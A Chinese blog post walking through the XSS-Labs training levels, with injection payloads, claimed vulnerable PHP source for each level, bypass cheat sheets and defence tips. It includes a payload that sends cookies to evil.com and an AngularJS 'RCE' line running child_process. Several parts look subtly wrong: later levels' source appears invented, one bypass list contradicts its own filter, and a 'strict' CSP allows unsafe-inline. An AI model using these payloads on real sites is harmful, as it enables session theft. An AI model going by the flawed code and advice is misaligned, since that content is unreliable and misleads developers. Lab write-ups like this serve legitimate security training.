我的个人博客

XSS-Labs 通关详细笔记

返回首页
技术分享 2025-12-20

🎯 XSS基础概念

什么是XSS?

跨站脚本攻击(Cross-Site Scripting),由于缩写与CSS重叠,因此通常被称为XSS

XSS能做什么?

  • 窃取用户密码
  • 实现无密码登录
  • 执行任意客户端脚本
  • 劫持用户会话
  • 钓鱼攻击
  • 恶意重定向

XSS主要类型

  1. DOM型XSS - 通过修改DOM结构执行恶意脚本
  2. 存储型XSS - 恶意代码存储在服务器上,影响所有访问者
  3. 反射型XSS - 恶意代码通过URL参数反射给受害者

在XSS-Labs中,我们的主要目标是寻找注入点,在网站上执行任意Script脚本。本文将从payload构造源码分析两个角度深入探讨每个关卡。


🎯 关卡1-20详解

Level 1: 基础反射型XSS

攻击过程

这是一个基于GET请求的网页,我们可以在URL地址栏中直接修改参数内容。

?name=后面输入如下脚本:

<script>alert()</script>

源码分析

<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>

原理解析

  • echo采用了字符串拼接,没有进行任何过滤
  • 输入的JS脚本直接输出到HTML中
  • 这是最典型的反射型XSS漏洞

payload变体

<script>alert('XSS')</script>
<script>document.cookie</script>
<script>location.href='http://evil.com?cookie='+document.cookie</script>

Level 2: HTML实体编码绕过

攻击过程

在input标签中输入<script>alert()</script>,发现内容被转义:

<h2 align=center>没有找到和&lt;script&gt;alert()&lt;/script&gt;相关的结果.</h2>
<center>
<input name=keyword  value="<script>alert()</script>">

关键发现<>等字符被进行了HTML实体编码,导致脚本无法直接执行。

绕过思路:尝试闭合input标签

"><script>alert()</script>

页面源码变为:

<input name=keyword  value=""><script>alert()</script>">

成功注入!

源码分析

<?php 
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

原理解析

  • 第一处输出使用了htmlspecialchars()函数进行转义
  • 第二处输出直接使用$str,存在XSS漏洞
  • htmlspecialchars()只转义&, ", ', <, >字符

payload变体

" onclick=alert() "
" onmouseover=alert() "
" autofocus onfocus=alert()

Level 3: 单引号闭合与事件绕过

攻击过程

输入<script>alert()</script>查看页面源码:

<h2 align=center>没有找到和&lt;script&gt;alert()&lt;/script&gt;相关的结果.</h2>
<center>
<input name=keyword  value='<script>alert()</script>'>

尝试闭合input标签:

'><script>alert()</script>

页面源码:

<input name=keyword  value=''><script>alert()</script>'>

发现两处都被转义了,但单引号未被过滤。尝试利用input标签的属性:

' onclick=alert() '

注入成功!

源码分析

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>

原理解析

  • 两处都使用了htmlspecialchars()进行转义
  • input标签使用单引号包裹value值
  • 通过闭合单引号并添加事件处理器绕过

常用JS事件

// 鼠标事件
onclick        // 鼠标点击时触发
onmouseover    // 鼠标划过时触发
onmouseout     // 鼠标离开时触发
onmousedown    // 鼠标按下时触发
onmouseup      // 鼠标松开时触发
onmousemove    // 鼠标移动时触发

// 键盘事件
onkeydown      // 键盘按下时触发
onkeyup        // 键盘松开时触发
onkeypress     // 键盘按下并松开时触发

// 表单事件
onsubmit       // 表单提交时触发
onreset        // 表单重置时触发
onchange       // 元素值改变时触发
onfocus        // 元素获得焦点时触发
onblur         // 元素失去焦点时触发

// 页面事件
onload         // 页面完全加载完成后触发
onunload       // 页面关闭或刷新时触发
onresize       // 窗口大小改变时触发
onscroll       // 页面滚动时触发

Level 4: 双引号过滤与标签绕过

攻击过程

输入<script>alert()</script>查看页面源码:

<h2 align=center>没有找到和&lt;script&gt;alert()&lt;/script&gt;相关的结果.</h2>
<center>
<input name=keyword  value="scriptalert()/script">

发现<>被过滤,但双引号保留。尝试事件绕过:

" onclick=alert() "

成功注入!

源码分析

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

原理解析

  • 使用str_replace()函数过滤<>字符
  • 第一处输出仍使用htmlspecialchars()转义
  • 第二处输出直接使用过滤后的字符串

绕过技巧

" onclick=alert() "
" onmouseover=alert() "
" autofocus onfocus=alert()

Level 5: JavaScript伪协议与大小写绕过

攻击过程

输入<script>alert()</script>发现被过滤。尝试大小写混合:

<ScRiPt>alert()</ScRiPt>

仍然被过滤。尝试其他标签:

<img src=x onerror=alert()>

发现on被过滤。使用JavaScript伪协议:

<a href="javascript:alert()">click me</a>

成功注入!

源码分析

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

原理解析

  • 使用strtolower()将输入转换为小写
  • 使用str_replace()替换<script<scr_ipt
  • 使用str_replace()替换ono_n

绕过技巧

<a href="javascript:alert()">xss</a>
<iframe src=javascript:alert()>
<img src=x onerror=alert()>
<svg onload=alert()>

Level 6: 大小写混合与双写绕过

攻击过程

尝试大小写混合:

<ScRiPt>alert()</ScRiPt>

成功!说明大小写绕过有效。

源码分析

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

原理解析

  • 过滤了多个关键词:<script, on, src, data, href
  • 但没有使用strtolower(),可以通过大小写绕过

绕过技巧

<ScRiPt>alert()</ScRiPt>
<IMG SRC=x ONERROR=alert()>
<SVG ONLOAD=alert()>
<IFRAME SRC=javascript:alert()>

Level 7: 双写过滤绕过

攻击过程

输入<script>alert()</script>发现被过滤。尝试双写:

<scrscriptipt>alert()</scrscriptipt>

成功注入!

源码分析

<?php 
ini_set("display_errors", 0);
$str =$_GET["keyword"];
$str2=str_replace("script","",$str);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str2.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

原理解析

  • 使用str_replace("script","",$str)删除script字符串
  • 双写可以绕过单次删除:scrscriptiptscript

绕过技巧

<scrscriptipt>alert()</scrscriptipt>
<imimgg src=x onerror=alert()>
<onerror>alert()</onerror>

Level 8: HTML实体编码与JavaScript伪协议

攻击过程

输入各种payload都被转义。查看页面源码发现使用了HTML实体编码。尝试JavaScript伪协议:

javascript:alert()

发现被添加到href属性中,但需要HTML实体编码:

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;

成功注入!

源码分析

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot;',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php 
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>

原理解析

  • 多重过滤机制
  • 输出时使用htmlspecialchars()和额外的引号转义
  • 友情链接处直接输出,但需要HTML实体编码

HTML实体编码表

&#106; = j
&#97;  = a
&#118; = v
&#97;  = a
&#115; = s
&#99;  = c
&#114; = r
&#105; = i
&#112; = p
&#116; = t
&#58;  = :
&#97;  = a
&#108; = l
&#101; = e
&#114; = r
&#116; = t
&#40;  = (
&#39;  = '
&#88;  = X
&#83;  = S
&#83;  = S
&#39;  = '
&#41;  = )

Level 9: URL检测绕过

攻击过程

输入javascript:alert()发现需要包含合法URL。尝试:

javascript://http://test.com%0aalert()

成功注入!

源码分析

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot;',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php 
if(false===strpos($str7,'http://')){
    echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}else{
    echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>

原理解析

  • 检测输入是否包含http://字符串
  • 使用strpos()函数进行URL验证
  • 可以通过JavaScript注释绕过

绕过技巧

javascript://http://test.com%0aalert()
javascript:http://test.com%0dalert()
javascript:http://test.com%0a%0dalert()

Level 10: 隐藏字段操作

攻击过程

查看页面源码发现隐藏的input字段:

<input type="hidden" name="t_link" value="">
<input type="hidden" name="t_history" value="">
<input type="hidden" name="t_sort" value="">

尝试修改t_sort参数:

?keyword=test&t_sort=" type="text" onmouseover="alert()

成功注入!

源码分析

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level10.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input name=t_sort type="hidden" value="'.$str33.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

原理解析

  • 有三个隐藏字段:t_link, t_history, t_sort
  • 只有t_sort可以被修改
  • 过滤了<>字符
  • 通过闭合双引号和改变input类型绕过

绕过技巧

" type="text" onmouseover="alert()
" type="text" onclick="alert()
" type="text" autofocus onfocus="alert()

Level 11: Referer头注入

攻击过程

查看页面源码发现:

<input type="hidden" name="t_ref" value="您来自哪里?">

需要修改HTTP Referer头:

Referer: " type="text" onmouseover="alert()"

使用Burp Suite或浏览器插件修改Referer头即可成功注入。

源码分析

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level11.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input name=t_sort type="hidden" value="'.$str00.'">
<input name=t_ref type="hidden" value="'.$str33.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

原理解析

  • $_SERVER['HTTP_REFERER']获取Referer头
  • 过滤了<>字符
  • 通过闭合双引号和添加事件绕过

Level 12: User-Agent头注入

攻击过程

查看页面源码发现:

<input type="hidden" name="t_ua" value="">

需要修改HTTP User-Agent头:

User-Agent: " type="text" onmouseover="alert()"

使用Burp Suite修改User-Agent头即可成功注入。

源码分析

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level12.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input name=t_sort type="hidden" value="'.$str00.'">
<input name=t_ua type="hidden" value="'.$str33.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

原理解析

  • $_SERVER['HTTP_USER_AGENT']获取User-Agent头
  • 过滤机制与Level 11相同
  • 通过修改HTTP头注入XSS

Level 13: Cookie注入

攻击过程

查看页面源码发现:

<input type="hidden" name="t_cook" value="">

需要修改Cookie:

document.cookie = "user=\" type=\"text\" onmouseover=\"alert()\"; path=/";

或者使用浏览器开发者工具修改Cookie值。

源码分析

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE['user'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level13.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input name=t_sort type="hidden" value="'.$str00.'">
<input name=t_cook type="hidden" value="'.$str33.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

原理解析

  • $_COOKIE['user']获取Cookie值
  • 过滤机制与之前相同
  • 通过Cookie注入XSS

Level 14: iframe沙箱绕过

攻击过程

这一关使用了iframe标签和exif模块。需要通过图片的EXIF信息注入XSS。

准备包含XSS的图片:

<img src=x onerror=alert()>

或者使用iframe标签:

<iframe src="level14.php?name=<script>alert()</script>"></iframe>

源码分析

<?php 
ini_set("display_errors", 0);
header("Content-type: text/html;charset=utf-8");
echo '<body>';
if(isset($_GET["submit"])){
    $file = $_FILES["upload_file"];
    $allowed_type = array("image/jpeg","image/gif","image/png");
    if(!in_array($file["type"],$allowed_type)){
        echo "<script>alert('文件类型不正确!');</script>";
    }else{
        $filename = $file["name"];
        $exif = exif_read_data($file["tmp_name"]);
        $html = "<center><img src='$filename'></center>";
        echo $html;
        if($exif['Make'] != ''){
            echo "<center>".$exif['Make']."</center>";
        }
        if($exif['Model'] != ''){
            echo "<center>".$exif['Model']."</center>";
        }
        if($exif['ExifVersion'] != ''){
            echo "<center>".$exif['ExifVersion']."</center>";
        }
    }
}
echo '<form action="" method="post" enctype="multipart/form-data">
    <input type="file" name="upload_file" />
    <input type="submit" name="submit" value="上传" />
</form>
</body>';
?>

原理解析

  • 使用exif_read_data()读取图片EXIF信息
  • 直接输出EXIF信息到页面
  • 通过修改图片EXIF信息注入XSS

Level 15: AngularJS模板注入

攻击过程

这一关使用了AngularJS。尝试AngularJS模板注入:

{{constructor.constructor('alert("XSS")')()}}
{{7*7}}
{{'a'.toUpperCase()}}

成功注入!

源码分析

<?php 
ini_set("display_errors", 0);
header("Content-type: text/html;charset=utf-8");
echo '<body>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.2.0/angular.min.js"></script>
<div ng-app>
    <input type="text" ng-model="message">
    <p>{{message}}</p>
</div>
</body>';
?>

原理解析

  • 使用了AngularJS 1.2.0版本
  • 存在模板注入漏洞
  • 可以通过AngularJS表达式执行JavaScript

AngularJS注入技巧

{{constructor.constructor('alert("XSS")')()}}
{{7*7}}  // 测试表达式
{{'a'.toUpperCase()}}  // 字符串操作
{{[].pop.constructor('return process')().mainModule.require('child_process').exec('ls')}}  // RCE

Level 16: 空格和关键字过滤

攻击过程

尝试各种payload发现空格和关键字被过滤。使用/替代空格:

<svg/onload=alert()>
<img/src=x/onerror=alert()>

成功注入!

源码分析

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","*",$str);
$str3=str_replace(" ","*",$str2);
$str4=str_replace("/","*",$str3);
$str5=str_replace(" ","*",$str4);
echo "<center>".$str5."</center>";
?>

原理解析

  • 过滤了script、空格、/字符
  • 使用*替换被过滤的字符
  • 可以通过其他字符替代空格

绕过技巧

<svg/onload=alert()>
<img/src=x/onerror=alert()>
<iframe/src=javascript:alert()>

Level 17: Flash XSS

攻击过程

这一关使用了Flash。需要通过Flash参数注入XSS:

arg01=version&arg02=<script>alert()</script>

或者使用Flash的getURL功能:

arg01=id&arg02=\"))}catch(e){alert(1)}//

源码分析

<?php 
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100 height=100>";
?>

原理解析

  • 使用了Flash文件xsf01.swf
  • 通过URL参数传递给Flash
  • Flash可能存在XSS漏洞

Level 18: 文件上传XSS

攻击过程

上传包含XSS的SVG文件:

<svg xmlns="http://www.w3.org/2000/svg" onload="alert('XSS')">
    <circle cx="50" cy="50" r="40" stroke="black" stroke-width="3" fill="red" />
</svg>

或者上传HTML文件:

<script>alert('XSS')</script>

源码分析

<?php 
ini_set("display_errors", 0);
if(isset($_POST["submit"])){
    $filename = $_FILES["upload_file"]["name"];
    $ext = pathinfo($filename, PATHINFO_EXTENSION);
    if($ext == "gif" || $ext == "jpg" || $ext == "png" || $ext == "jpeg"){
        $temp_file = $_FILES["upload_file"]["tmp_name"];
        $img_path = "upload/".$filename;
        if(move_uploaded_file($temp_file, $img_path)){
            echo "<img src='$img_path'>";
        }else{
            echo "上传失败!";
        }
    }else{
        echo "文件类型不正确!";
    }
}
?>
<form action="" method="post" enctype="multipart/form-data">
    <input type="file" name="upload_file" />
    <input type="submit" name="submit" value="上传" />
</form>

原理解析

  • 检查文件扩展名
  • 允许上传图片文件
  • 直接输出上传的文件
  • 可以通过SVG文件注入XSS

Level 19: UTF-7编码绕过

攻击过程

使用UTF-7编码绕过:

+ADw-script+AD4-alert('XSS')+ADw-/script+AD4-

或者:

+ADw-img src=x onerror=alert('XSS')+AD4-

源码分析

<?php 
ini_set("display_errors", 0);
header("Content-Type: text/html; charset=utf-7");
echo $_GET["keyword"];
?>

原理解析

  • 设置了UTF-7编码
  • 可以通过UTF-7编码绕过过滤
  • UTF-7编码可以绕过很多WAF

Level 20: 综合测试

攻击过程

这一关是综合测试,需要运用之前学到的所有技巧:

<svg/onload=alert()>
<img/src=x/onerror=alert()>
<iframe/src=javascript:alert()>

源码分析

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2>".$str."</h2>";
?>

原理解析

  • 没有任何过滤
  • 可以使用任何payload
  • 考验综合运用能力

🛡️ 绕过技巧总结

1. 编码绕过

<!-- HTML实体编码 -->
&#60;script&#62;alert('XSS')&#60;/script&#62;

<!-- URL编码 -->
%3Cscript%3Ealert('XSS')%3C/script%3E

<!-- 十六进制编码 -->
\x3Cscript\x3Ealert('XSS')\x3C/script\x3E

<!-- Base64编码 -->
PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=

<!-- UTF-7编码 -->
+ADw-script+AD4-alert('XSS')+ADw-/script+AD4-

2. 标签替换

<!-- 常用XSS标签 -->
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
<iframe src=javascript:alert('XSS')>
<body onload=alert('XSS')>
<input onfocus=alert('XSS') autofocus>
<details open ontoggle=alert('XSS')>
<marquee onstart=alert('XSS')>
<video onloadstart=alert('XSS')>
<audio onloadstart=alert('XSS')>

3. 事件处理器

onmouseover    // 鼠标悬停
onclick        // 鼠标点击
onload         // 页面加载
onerror        // 错误发生
onfocus        // 获得焦点
onblur         // 失去焦点
onchange       // 值改变
onsubmit       // 表单提交
onkeydown      // 键盘按下
onkeyup        // 键盘松开
onstart        // 开始执行
onend          // 结束执行
ontoggle       // 切换状态

4. 过滤绕过

<!-- 大小写混合 -->
<ScRiPt>alert('XSS')</ScRiPt>

<!-- 双写绕过 -->
<scrscriptipt>alert('XSS')</scrscriptipt>

<!-- 注释绕过 -->
<scr<!-- -->ipt>alert('XSS')</scr<!-- -->ipt>

<!-- 编码绕过 -->
%3Cimg%20src=x%20onerror=alert('XSS')%3E

<!-- 空格绕过 -->
<img/src=x/onerror=alert('XSS')>
<svg/onload=alert('XSS')>

<!-- 字符串拼接 -->
"str"+"ing"

5. JavaScript伪协议

javascript:alert('XSS')
javascript://comment%0aalert('XSS')
javascript:http://test.com%0aalert('XSS')

6. CSS注入

<style>@import url('javascript:alert("XSS")');</style>
<div style="background:url(javascript:alert('XSS'))">
<style>body{background:url(javascript:alert('XSS'))}</style>

7. AngularJS注入

{{constructor.constructor('alert("XSS")')()}}
{{7*7}}
{{'a'.toUpperCase()}}
{{[].pop.constructor('return process')().mainModule.require('child_process').exec('ls')}}

🛡️ 防御建议

1. 输入验证

// 白名单验证
function validateInput($input) {
    return preg_match('/^[a-zA-Z0-9\s]+$/', $input);
}

// 长度限制
function validateLength($input, $min, $max) {
    $length = strlen($input);
    return $length >= $min && $length <= $max;
}

// 黑名单过滤(不推荐,优先使用白名单)
function blacklistFilter($input) {
    $blacklist = ['<script', 'javascript:', 'onerror', 'onload'];
    foreach ($blacklist as $pattern) {
        if (stripos($input, $pattern) !== false) {
            return false;
        }
    }
    return true;
}

2. 输出编码

// HTML编码
echo htmlspecialchars($input, ENT_QUOTES | ENT_HTML5, 'UTF-8');

// JavaScript编码
function jsEscape($str) {
    return json_encode($str, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT);
}

// URL编码
echo urlencode($input);

// 属性编码
function attributeEncode($str) {
    return htmlspecialchars($str, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
}

3. CSP策略

<!-- 严格的CSP策略 -->
<meta http-equiv="Content-Security-Policy" 
      content="default-src 'self'; 
              script-src 'self' 'unsafe-inline'; 
              style-src 'self' 'unsafe-inline'; 
              img-src 'self' data:; 
              connect-src 'self'; 
              font-src 'self'; 
              object-src 'none'; 
              media-src 'self'; 
              frame-src 'none';">

<!-- HTTP头设置 -->
<?php
header("Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';");
?>

4. HTTP安全头

// XSS保护
header("X-XSS-Protection: 1; mode=block");

// 内容类型嗅探保护
header("X-Content-Type-Options: nosniff");

// 点击劫持保护
header("X-Frame-Options: DENY");

// 严格传输安全
header("Strict-Transport-Security: max-age=31536000; includeSubDomains");

// 内容安全策略
header("Content-Security-Policy: default-src 'self'; script-src 'self'");

5. 框架防护

// Laravel框架
{{ $input }}  // 自动转义
{!! $input !!} // 不转义(谨慎使用)

// Symfony框架
{{ input|escape }}  // 自动转义

// ThinkPHP框架
{$input|htmlspecialchars}  // 手动转义

6. DOM操作防护

// 安全的DOM操作
function safeHTML(str) {
    return str.replace(/[&<>"']/g, function(match) {
        const escape = {
            '&': '&amp;',
            '<': '&lt;',
            '>': '&gt;',
            '"': '&quot;',
            "'": '&#39;'
        };
        return escape[match];
    });
}

// 使用textContent而不是innerHTML
element.textContent = userInput;  // 安全
element.innerHTML = userInput;   // 危险

// 使用DOMPurify库
import DOMPurify from 'dompurify';
const cleanHTML = DOMPurify.sanitize(dirtyHTML);

7. 文件上传防护

// 文件类型检查
$allowedTypes = ['image/jpeg', 'image/png', 'image/gif'];
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime_type = finfo_file($finfo, $_FILES['file']['tmp_name']);

if (!in_array($mime_type, $allowedTypes)) {
    die('文件类型不允许');
}

// 文件扩展名检查
$allowedExtensions = ['jpg', 'jpeg', 'png', 'gif'];
$extension = strtolower(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION));

if (!in_array($extension, $allowedExtensions)) {
    die('文件扩展名不允许');
}

// 文件内容检查
$imageInfo = getimagesize($_FILES['file']['tmp_name']);
if ($imageInfo === false) {
    die('文件不是有效的图片');
}

// 重命名文件
$newFilename = uniqid() . '.' . $extension;
$uploadPath = 'uploads/' . $newFilename;

if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadPath)) {
    echo '文件上传成功';
} else {
    echo '文件上传失败';
}

8. WAF配置

# Nginx WAF配置
location ~* \.(php|jsp|asp)$ {
    # XSS防护
    if ($args ~* "<script>|javascript:|onload=|onerror=") {
        return 403;
    }
    
    # SQL注入防护
    if ($args ~* "union.*select|select.*from|insert.*into") {
        return 403;
    }
}

📚 参考资源

技术文档

工具和框架

学习平台